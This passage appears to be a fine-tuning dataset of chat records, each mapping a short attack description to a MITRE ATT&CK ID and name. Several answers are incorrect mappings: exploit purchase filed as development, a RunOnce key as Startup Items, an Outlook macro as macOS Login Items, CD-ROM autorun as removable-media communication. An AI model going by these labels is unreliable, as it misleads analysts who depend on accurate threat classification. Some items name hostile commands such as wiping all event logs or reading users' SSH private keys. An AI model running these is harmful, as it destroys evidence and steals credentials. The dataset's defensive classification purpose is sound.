                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised domain controller, the threat actor forges a Kerberos service ticket for the MSSQL service without contacting the KDC, allowing lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker inserts a PowerShell command into the network logon script to exfiltrate user credentials to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses 'history -c' to clear the command history after privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages PowerShell to call the Get-WMIObject Win32_NetworkAdapterConfiguration class and retrieve the IP address for geolocation."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code enumerates running processes via the Windows API call EnumProcesses."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal purchases a zero‑day exploit kit from an underground market to enhance their toolset."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs automated searches across Shodan and Censys to identify exposed services and extract version information."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stores intercepted network traffic captures in a hidden folder on the compromised machine for later upload."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary adds a new entry to the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce key to launch code once after reboot."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor escalates privileges by changing the service's registry permissions and injecting a malicious DLL via the service's configuration."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deletes the .bash_history file to erase command line traces on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a malicious COM add‑in under the Office application AddIns registry path to execute code when Outlook opens."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses DNS dumpster and similar open technical databases to retrieve historic DNS query data for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan spawns a child process and uses the Windows Clipboard as a covert channel for IPC."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a script that modifies the authentication method on a wireless controller, switching from WPA2-Enterprise to an insecure protocol."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating the system's firmware update mechanism, the attacker plants a persistent malicious module that runs at pre-OS boot."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering phone call references a recent security alert and asks the employee to confirm their multifactor authentication token verbally."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script enumerates and steals unencrypted SSH keys from /home/*/.ssh/id_rsa files."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to edit the corporate intranet's CSS and HTML, resulting in a visible defacement on all internal browsers."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set deployed a rootkit that mimics the Windows Explorer process, making it indistinguishable from the real one."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a malicious library into a running process using reflective loading, executing the payload directly from memory."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion process stages data in a local staging area on the compromised host before exfiltrating it."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the Firefox password manager file (logins.json) and extracts usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads a malicious payload to a compromised cloud storage bucket to later retrieve it on victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro embedded in a corporate Visio template activates a remote code execution routine each time a user starts a new diagram."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware intercepts and forwards SMS-based verification codes to the attacker, bypassing the second factor of authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query Certificate Transparency logs to discover valid digital certificates for use in spoofing attacks."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gain unauthorized access to a target's web server by exploiting an unpatched Apache vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers utilized Mavinject to perform code injection into the Windows Management Instrumentation service (wmiprvse.exe), achieving persistence through a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploits a misconfigured setgid file to elevate its group permissions and access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses local application config files (e.g., web.config) to retrieve connection strings containing database credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker wraps a malicious script inside a legitimate Java JAR file’s manifest, allowing the payload to execute when the JAR is run."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts cached domain credentials from the Windows Registry by dumping the LSA Secrets key."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection uses DNS over HTTPS to contact a web service that returns hidden commands in the response body, serving as a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Parent PID spoofing is performed by altering the token's ParentProcessId attribute, causing the system to believe the process was spawned by a benign parent."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvested credentials from a compromised Azure Key Vault that stored service principal passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a custom tool to gather MAC addresses and network segment information from the victim's LAN."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the SetWindowLongPtr API to place a payload into another process's extra window memory and then triggers it via a callback."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs software packing techniques to obscure the original binary, making reverse engineering difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a privilege escalation bug to shut down critical network services."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved scanning the system's network connection table via the \"Get-NetTCPConnection\" PowerShell cmdlet for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses existing database stored procedures, chaining them to exfiltrate data from the SQL server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary captures a valid RDP session cookie from a user's machine and replays it to assume the active Remote Desktop session without needing credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerPoint files are placed in the startup folder, causing code execution via the Office Test mechanism each time PowerPoint launches."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Outlook macro is used to execute code each time the user opens the email client."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised third‑party email account to send a link to a malicious payload disguised as a software update."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden script runs \"uname -a\" on a Unix system to acquire kernel version, hostname, and hardware architecture of the target."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an outdated Joomla extension to upload a defacement template that overwrites existing pages."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to add a forward rule that duplicates all inbound email to an external address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs Windows built‑in Compact OS tool to archive harvested credentials."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder configures a Windows Service to run a scheduled task that executes a reverse shell whenever the network is active."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes the cmstp utility to proxy execution of a command line payload on a victim host."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the attacker runs 'Get-ADUser -Filter *' to retrieve every domain account present in Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used the SharePoint REST API to enumerate and download corporate reports stored in the organization's SharePoint repository."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the built-in Windows tool certutil to download additional payloads without raising alarms."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a CD-ROM to deliver a trojan that automatically runs when the disc is inserted into a computer."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware constructs domain names by merging user‑specific data with a secret key, then queries DNS for the command server address."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor issues a Google Cloud SDK \"gcloud compute instances stop\" command to shut down critical VMs after gaining access to a service account."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through SMB, the attacker accessed the remote host's C$ share, exfiltrated sensitive files, and replaced them with encrypted versions as part of a ransomware campaign."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a scheduled task that runs \"Clear-EventLog -LogName *\" in PowerShell to wipe all event logs daily."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder reuses a previously established WinRM session to run PowerShell commands on the target host."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly triggers a background job scheduler via an exposed API, overwhelming the job queue and preventing legitimate jobs from running."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group hijacks a legitimate remote console session to bypass network segmentation controls."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group conducts OSINT to locate victim-owned sites, scraping data from domain registration databases and passive DNS."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script accesses the auditd logs on a Linux server to extract user activity records."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a legitimate e‑commerce site’s hosting environment, inserting malicious code that skims credit‑card details from checkout pages."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a custom TLS tunnel to encapsulate C2 traffic, hiding it within legitimate HTTPS traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By updating the registry value in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon, the attacker sets a custom user shell to run their payload at logon."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts a sweep of the internal network, probing for open SMB shares via port 445."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targeted executives with a fake invoice attachment that, when opened, runs a hidden malicious executable."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged stolen SSH keys to gain root access to a Linux web server and installed a backdoor for persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an adversary exploits a vulnerability in software to gain unauthorized access, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use search engines to locate leaked source code on Bitbucket that contains authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accesses a victim's cloud-hosted virtual machine directly via the cloud provider's remote console, bypassing any intermediary jump host."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code leverages the organization's mobile push authentication system to generate fake MFA prompts, confusing the user and capturing a valid token."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects data on the victim's partnership agreements and collaborations by monitoring trade show announcements and partnership newsletters."
            },
            {
                "role": "assistant",
